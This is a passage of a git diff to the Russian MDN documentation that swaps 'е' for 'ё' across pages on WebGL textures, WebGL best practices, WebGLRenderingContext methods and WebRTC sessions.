      Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.

      +

      Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придётся контролировать, как именно устройство будет обрабатывать текстуру.

      // также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap.
       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
      @@ -88,7 +88,7 @@ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
       // Не допускаем повторения по t-координате.
       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
      -

      Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет rgba(0,0,0,0).

      +

      Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный чёрный цвет rgba(0,0,0,0).

      Для загрузки изображения добавим вызов loadTexture() в функцию main(). Код можно разместить после вызова initBuffers(gl).

      @@ -145,7 +145,7 @@ const texture = loadTexture(gl, 'cubetexture.png');
      indices: indexBuffer, };
      -

      Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.

      +

      Сначала мы создаём WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.

      Массив textureCoordinates определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.

      @@ -174,7 +174,7 @@ const texture = loadTexture(gl, 'cubetexture.png');
      } `;
      -

      Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаем их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.

      +

      Ключевое изменение в том, что вместо получения цвета вершины, мы получаем координаты текстуры и передаём их в вершинный шейдер, сообщая положение точки внутри текстуры, которая соответствует вершине.

      Фрагментный шейдер

      diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html index 64dee04e13..eb5aef450a 100644 --- a/files/ru/web/api/webgl_api/webgl_best_practices/index.html +++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html @@ -10,9 +10,9 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices

      Чего следует избегать

        -
      • Убедитесь, что ваше приложение не выдает какие-либо ошибки WebGL, возвращаемые функцией getError(). В Firefox при каждой ошибке (до определенного предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?
      • +
      • Убедитесь, что ваше приложение не выдаёт какие-либо ошибки WebGL, возвращаемые функцией getError(). В Firefox при каждой ошибке (до определённого предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?
      • Не следует использовать #ifdef GL_ES в шейдерах WebGL. Несмотря на то что в некоторых ранних примерах используются эти директивы, это не обязательно в том случае, если проверяемое условие всегда истинно.
      • -
      • Использование высокой точности (highp precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причем этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надежными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности.
      • +
      • Использование высокой точности (highp precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причём этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надёжными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности.

      О чем следует помнить.

      @@ -22,7 +22,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
    • В частности, использование текстур в вершинном шейдере возможно только если значение webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) больше ноля. Как правило, эта возможность не поддерживается на текущих мобильных устройствах.
    • Доступность большинства расширений WebGL зависит от клиента. Если это возможно, проектируйте приложение так, чтобы оно оставалось работоспособным даже в случае, когда используемое расширение недоступно. В Firefox версии 10 и выше есть настройка webgl.disable-extensions, позволяющая сымитировать отсутствие всех расширений для проверки переносимости приложения.
    • Рендеринг в floating-point текстуру может не выполняться даже если расширение OES_texture_float поддерживается. Обычно это случается на современных мобильных устройствах. Проверить эту возможность можно с помощью функции WebGL checkFramebufferStatus().
    • -
    • Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определенных в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки, однако, на скорость работы вершинных шейдеров это не повлияет. прим. перев.).
    • +
    • Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определённых в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки, однако, на скорость работы вершинных шейдеров это не повлияет. прим. перев.).

    Общие советы по повышению производительности

    @@ -30,7 +30,7 @@ translation_of: Web/API/WebGL_API/WebGL_best_practices
    • Все, что требует синхронизации ЦП и ГП потенциально приводит в уменьшению производительности. Поэтому избегайте в цикле отрисовки следующих вызовов функций WebGL: getError(), readPixels() и finish(). Вызовы функций, получающих значения, такие как getParameter() и getUniformLocation() тоже должны рассматриваться как медленные и их значения следует сохраняться в переменных JavaScript.
    • Несколько больших операций отрисовки выполняются быстрее, чем много мелких. Если вам нужно нарисовать 1000 спрайтов, попробуйте реализовать это одним вызовом функции drawArrays() или drawElements(). Вы также можете использовать вырожденные (плоские) треугольники для рисования нескольких объектов за один вызов drawArrays().
    • -
    • Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру (т.н. текстурный атлас, прим. перев.) и отображать требуемое изображение с помощью поправок текстурных координат, то это приведет к уменьшению переключений между текстурами, что увеличит производительность. +
    • Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру (т.н. текстурный атлас, прим. перев.) и отображать требуемое изображение с помощью поправок текстурных координат, то это приведёт к уменьшению переключений между текстурами, что увеличит производительность.
      • В некоторых редких случаях разные одноцветные изображения можно упаковать в разные цветовые каналы текстуры.
      diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html index 4bbea586ed..b23d2c5b8d 100644 --- a/files/ru/web/api/webglrenderingcontext/activetexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/WebGLRenderingContext/activeTexture
      gl.activeTexture(gl.TEXTURE0);
       gl.getParameter(gl.ACTIVE_TEXTURE);
      -// вернет "33984" (0x84C0, gl.TEXTURE0 enum value)
      +// вернёт "33984" (0x84C0, gl.TEXTURE0 enum value)
       

      Спецификация

      @@ -70,7 +70,7 @@ gl.getParameter(gl.ACTIVE_TEXTURE);

      Совместимость с браузерами

      - +

      {{Compat("api.WebGLRenderingContext.activeTexture")}}

      diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html index 2a3fd529b3..38d9a3aaa0 100644 --- a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html +++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/WebGLRenderingContext/bindTexture
    • gl.TEXTURE_CUBE_MAP: кубическая текстура.
    • При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны:
        -
      • gl.TEXTURE_3D: трехмерная текстура.
      • +
      • gl.TEXTURE_3D: трёхмерная текстура.
      • gl.TEXTURE_2D_ARRAY: массив двумерных текстур.
    • @@ -93,7 +93,7 @@ gl.bindTexture(gl.TEXTURE_2D, texture);

      Совместимость с браузерами

      - +

      {{Compat("api.WebGLRenderingContext.bindTexture")}}

      diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html index 9ecb9bd735..b68ba5b4be 100644 --- a/files/ru/web/api/webglrenderingcontext/compileshader/index.html +++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html @@ -50,7 +50,7 @@ gl.compileShader(shader);

      Совместимость с браузерами

      - +

      {{Compat("api.WebGLRenderingContext.compileShader")}}

      diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html index d7cc40db94..fe955d5073 100644 --- a/files/ru/web/api/webglrenderingcontext/enable/index.html +++ b/files/ru/web/api/webglrenderingcontext/enable/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WebGLRenderingContext/enable ---
      {{APIRef("WebGL")}}
      -

      Метод WebGLRenderingContext.enable() из WebGL API активирует определенные возможности WebGL для текущего контекста.

      +

      Метод WebGLRenderingContext.enable() из WebGL API активирует определённые возможности WebGL для текущего контекста.

      Синтаксис

      diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html index e91fa4e851..e34cc75d94 100644 --- a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html +++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html @@ -65,7 +65,7 @@ if (message.length > 0) {

      Совместимость с браузерами

      - +

      {{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}

      diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html index 2db54961f0..550dc0f367 100644 --- a/files/ru/web/api/webglrenderingcontext/index.html +++ b/files/ru/web/api/webglrenderingcontext/index.html @@ -72,11 +72,11 @@ var gl = canvas.getContext('webgl');
      {{domxref("WebGLRenderingContext.blendFuncSeparate()")}}
      Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.
      {{domxref("WebGLRenderingContext.clearColor()")}}
      -
      Задает значения цвета, используемые при очистке цветовых буферов.
      +
      Задаёт значения цвета, используемые при очистке цветовых буферов.
      {{domxref("WebGLRenderingContext.clearDepth()")}}
      -
      Задает значение глубины, используемый при очистке буфера глубины.
      +
      Задаёт значение глубины, используемый при очистке буфера глубины.
      {{domxref("WebGLRenderingContext.clearStencil()")}}
      -
      Задает значение шаблона, используемый при очистке буфера шаблона.
      +
      Задаёт значение шаблона, используемый при очистке буфера шаблона.
      {{domxref("WebGLRenderingContext.colorMask()")}}
      Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.
      {{domxref("WebGLRenderingContext.cullFace()")}}
      @@ -98,7 +98,7 @@ var gl = canvas.getContext('webgl');
      {{domxref("WebGLRenderingContext.getError()")}}
      Возвращает информацию об ошибках.
      {{domxref("WebGLRenderingContext.hint()")}}
      -
      Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.
      +
      Указывает подсказки для определённого поведения. Интерпретация этих подсказок зависит от реализации.
      {{domxref("WebGLRenderingContext.isEnabled()")}}
      Проверяет,  включена или нет конкретная способность WebG.
      {{domxref("WebGLRenderingContext.lineWidth()")}}
      @@ -106,7 +106,7 @@ var gl = canvas.getContext('webgl');
      {{domxref("WebGLRenderingContext.pixelStorei()")}}
      Определяет режимы хранилища пикселей
      {{domxref("WebGLRenderingContext.polygonOffset()")}}
      -
      Определяет факторы масштабирования  и единицы для расчета значения глубины.
      +
      Определяет факторы масштабирования  и единицы для расчёта значения глубины.
      {{domxref("WebGLRenderingContext.sampleCoverage()")}}
      Определяет составные параметры  для сглаживания эффектов.
      {{domxref("WebGLRenderingContext.stencilFunc()")}}
      diff --git a/files/ru/web/api/webglrenderingcontext/shadersource/index.html b/files/ru/web/api/webglrenderingcontext/shadersource/index.html index 86ac976ab8..c41d33671f 100644 --- a/files/ru/web/api/webglrenderingcontext/shadersource/index.html +++ b/files/ru/web/api/webglrenderingcontext/shadersource/index.html @@ -56,7 +56,7 @@ var source = gl.getShaderSource(shader);

      Совместимость с браузерами

      - +

      {{Compat("api.WebGLRenderingContext.shaderSource")}}

      diff --git a/files/ru/web/api/webglrenderingcontext/uniform/index.html b/files/ru/web/api/webglrenderingcontext/uniform/index.html index 91a02ac2b9..d1f8c30223 100644 --- a/files/ru/web/api/webglrenderingcontext/uniform/index.html +++ b/files/ru/web/api/webglrenderingcontext/uniform/index.html @@ -88,7 +88,7 @@ gl.uniform1iv(samplerCubeUniformLoc, [v]); // для samplerCube или масс

      Совместимость с браузерами

      - +

      {{Compat("api.WebGLRenderingContext.uniform1f")}}

      diff --git a/files/ru/web/api/webrtc_api/adapter.js/index.html b/files/ru/web/api/webrtc_api/adapter.js/index.html index efe5581fc2..575e045e1f 100644 --- a/files/ru/web/api/webrtc_api/adapter.js/index.html +++ b/files/ru/web/api/webrtc_api/adapter.js/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/adapter.js ---

      {{WebRTCSidebar}}

      -

      Несмотря на то, что WebRTC спецификация относительно стабильна, не все еще браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все еще содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своем коде. Но есть более простой выход. Организация WebRTC предлагает библиотеку adapter.js для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути

      +

      Несмотря на то, что WebRTC спецификация относительно стабильна, не все ещё браузеры полностью реализуют её функциональность. Некоторые реализации в браузерах все ещё содержат префиксы производителей в некоторых, или даже всех WebRTC интерфейсах, и разработчик может самостоятельно, в ручную, учесть вопросы несовместимости в своём коде. Но есть более простой выход. Организация WebRTC предлагает библиотеку adapter.js для обработки вопросов несовместимостей в различных браузерных реализациях WebRTC. Эта библиотека является JavaScript клином, позволяющим писать код в соответствии со спецификацией, чтобы он работал во всех браузерах с различным уровнем поддержки WebRTC. С ней нет необходимости условно использовать префиксные интерфейсы или реализовывать обходные пути

      Примечание : Поскольку функциональность и названия API-терминов в WebRTC и поддерживаемых браузерах постоянно изменяются, обычно рекомендуется использовать этот адаптер.

      diff --git a/files/ru/web/api/webrtc_api/index.html b/files/ru/web/api/webrtc_api/index.html index 1c3d082d99..e1563f8e4f 100644 --- a/files/ru/web/api/webrtc_api/index.html +++ b/files/ru/web/api/webrtc_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API

      WebRTC (Web Real-Time Communications) - это технология, которая позволяет Web-приложениям и сайтам захватывать и выборочно передавать аудио и/или видео медиа-потоки, а также обмениваться произвольными данными между браузерами, без обязательного использования посредников. Набор стандартов, которые включает в себя технология WebRTC, позволяет обмениваться данными и проводить пиринговые телеконференции, без необходимости пользователю устанавливать плагины или любое другое стороннее программное обеспечение.

      -

      WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдете, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.

      +

      WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе. Документация, которую вы здесь найдёте, поможет вам понять основы WebRTC, как настроить и использовать соединение для передачи данных и медиа-потока, и многое другое.

      Совместимость

      @@ -39,7 +39,7 @@ translation_of: Web/API/WebRTC_API
      {{domxref("RTCPeerConnection")}}
      -
      Представляет  WebRTC соединение между локальным компьютером и удаленным узлом. Используется для обработки успешной передачи данных между двумя узлами.
      +
      Представляет  WebRTC соединение между локальным компьютером и удалённым узлом. Используется для обработки успешной передачи данных между двумя узлами.
      {{domxref("RTCSessionDescription")}}
      Представляет параметры сессии. Каждый RTCSessionDescription содержит описания типа, показывающего какую часть (предложение/ответ) процесса переговоров он описывает, и SDP-дескриптор сессии.
      {{domxref("RTCIceCandidate")}}
      @@ -47,7 +47,7 @@ translation_of: Web/API/WebRTC_API
      {{domxref("RTCIceTransport")}}
      Представляет информацию о средстве подключения к Интернету (ICE).
      {{domxref("RTCPeerConnectionIceEvent")}}
      -
      Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передается данному объекту события: {{event ("icecandidate")}}.
      +
      Представляет события, которые происходят в отношении кандидатов ICE, обычно {{domxref ("RTCPeerConnection")}}. Один тип передаётся данному объекту события: {{event ("icecandidate")}}.
      {{domxref("RTCRtpSender")}}
      Управляет кодированием и передачей данных через объект типа  {{domxref("MediaStreamTrack")}} для объекта типа {{domxref("RTCPeerConnection")}}.
      {{domxref("RTCRtpReceiver")}}
      @@ -59,7 +59,7 @@ translation_of: Web/API/WebRTC_API
      {{domxref("RTCDataChannel")}}
      Представляет двунаправленный канал данных между двумя узлами соединения.
      {{domxref("RTCDataChannelEvent")}}
      -
      Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("datachannel")}}.
      +
      Представляет события, которые возникают при присоединении объекта типа  {{domxref("RTCDataChannel")}} к объекту типа {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("datachannel")}}.
      {{domxref("RTCDTMFSender")}}
      Управляет кодированием и передачей  двухтональной мультичастотной  (DTMF) сигнализацией для объекта типа {{domxref("RTCPeerConnection")}}.
      {{domxref("RTCDTMFToneChangeEvent")}}
      @@ -71,9 +71,9 @@ translation_of: Web/API/WebRTC_API
      {{domxref("RTCIdentityProvider")}}
      Активирует возможность браузеру запросить создание или проверку объявления идентификации.
      {{domxref("RTCIdentityAssertion")}}
      -
      Представляет идентификатор удаленного узла текущего соединения. Если узел еще не установлен и подтвержден, ссылка на интерфейс вернет null. После установки не изменяется.
      +
      Представляет идентификатор удалённого узла текущего соединения. Если узел ещё не установлен и подтверждён, ссылка на интерфейс вернёт null. После установки не изменяется.
      {{domxref("RTCIdentityEvent")}}
      -
      Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передается этому событию {{event("identityresult")}}.
      +
      Представляет объект события объявление идентификатора провайдером идентификации  (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Один тип передаётся этому событию {{event("identityresult")}}.
      {{domxref("RTCIdentityErrorEvent")}}
      Представляет объект события ошибки, связанной с провайдером идентификации (idP). Событие объекта типа  {{domxref("RTCPeerConnection")}}. Два типа ошибки передаются этому событию : {{event("idpassertionerror")}} и {{event("idpvalidationerror")}}.
      @@ -84,11 +84,11 @@ translation_of: Web/API/WebRTC_API
      Обзор архитектуры WebRTC
      Под API, который применяют разработчики, чтобы создавать и использовать WebRTC, расположен набор сетевых протоколов и стандартов соединения. Этот обзор - витрина этих стандартов.
      Жизнь WebRTC-сессии
      -
      WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдем весь путь до его завершения, когда оно больше не нужно.
      +
      WebRTC позволяет вам организовать соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию в браузере. В этой статье мы взглянем на жизнь WebRTC-сессии, начиная с установки соединения и пройдём весь путь до его завершения, когда оно больше не нужно.
      Обзор WebRTC API
      WebRTC состоит из нескольких взаимосвязанных программных интерфейсов (API) и протоколов, которые работают вместе, чтобы обеспечить поддержку обмена данными и медиа-потоками между двумя и более узлами. В этой статье представлен краткий обзор каждого из этих API и какую цель он преследует.
      Основы WebRTC
      -
      Эта статья проведет вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.
      +
      Эта статья проведёт вас через создание кросс-браузерного RTC-приложения. К концу этой статьи вы должны иметь работающий дата- и медиа-канал, работающий в режиме точка-точка.
      Протоколы WebRTC
      В этой статье представлены протоколы, в дополнение к которым создан API WebRTC.
      @@ -113,7 +113,7 @@ translation_of: Web/API/WebRTC_API
      Простой пример канала данных RTCDataChannel
      Интерфейс {{domxref("RTCDataChannel")}}  - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны  WebSocket API, так, что бы в обоих могла использоваться единая модель программирования.
      Сигнализация и двухсторонние видео вызовы
      -
      Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.
      +
      Например, мы берём чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.

      Ресурсы

      diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html index 0b052b5475..adf957e2fd 100644 --- a/files/ru/web/api/webrtc_api/session_lifetime/index.html +++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html @@ -7,11 +7,11 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
      -
      WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.
      +
      WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живёт WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.
      -

      Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью Signaling and video calling, чтобы получить пример с пошаговым объяснением того, что делает код.

      +

      Эта статья не вдаётся в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса в целом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью Signaling and video calling, чтобы получить пример с пошаговым объяснением того, что делает код.

      Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. 

      @@ -21,7 +21,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

      Установка соединения

      -

      Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.

      +

      Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путём маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.

      Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и по сути, IP-адрес устройства может измениться не только тогда, когда оно перемещается из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет.  Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.

      @@ -31,7 +31,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

      Процесс Сигнализации

      -

      Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - этот процесс не определен в спецификации.

      +

      Сигнализация - это процесс передачи управляющей информации между двумя устройствами для определения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - этот процесс не определён в спецификации.

      Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.

      @@ -58,18 +58,18 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

      Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:

        -
      1. Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.
      2. +
      3. Каждый узел создаёт объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.
      4. Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.
      5. -
      6. Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.
      7. -
      8. Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.
      9. +
      10. Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удалённого узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.
      11. +
      12. Вызывающий узел создаёт уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остаётся на усмотрение разработчика.
      13. Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.
      14. -
      15. Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)
      16. +
      17. Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определённым на шаге 4)
      18. descriptions, candidates, etc. -- more coming up

      Перезапуск сессии ICE агент

      -

      Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.

      +

      Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдёт от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдёт, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.

      Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:

      @@ -77,7 +77,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime

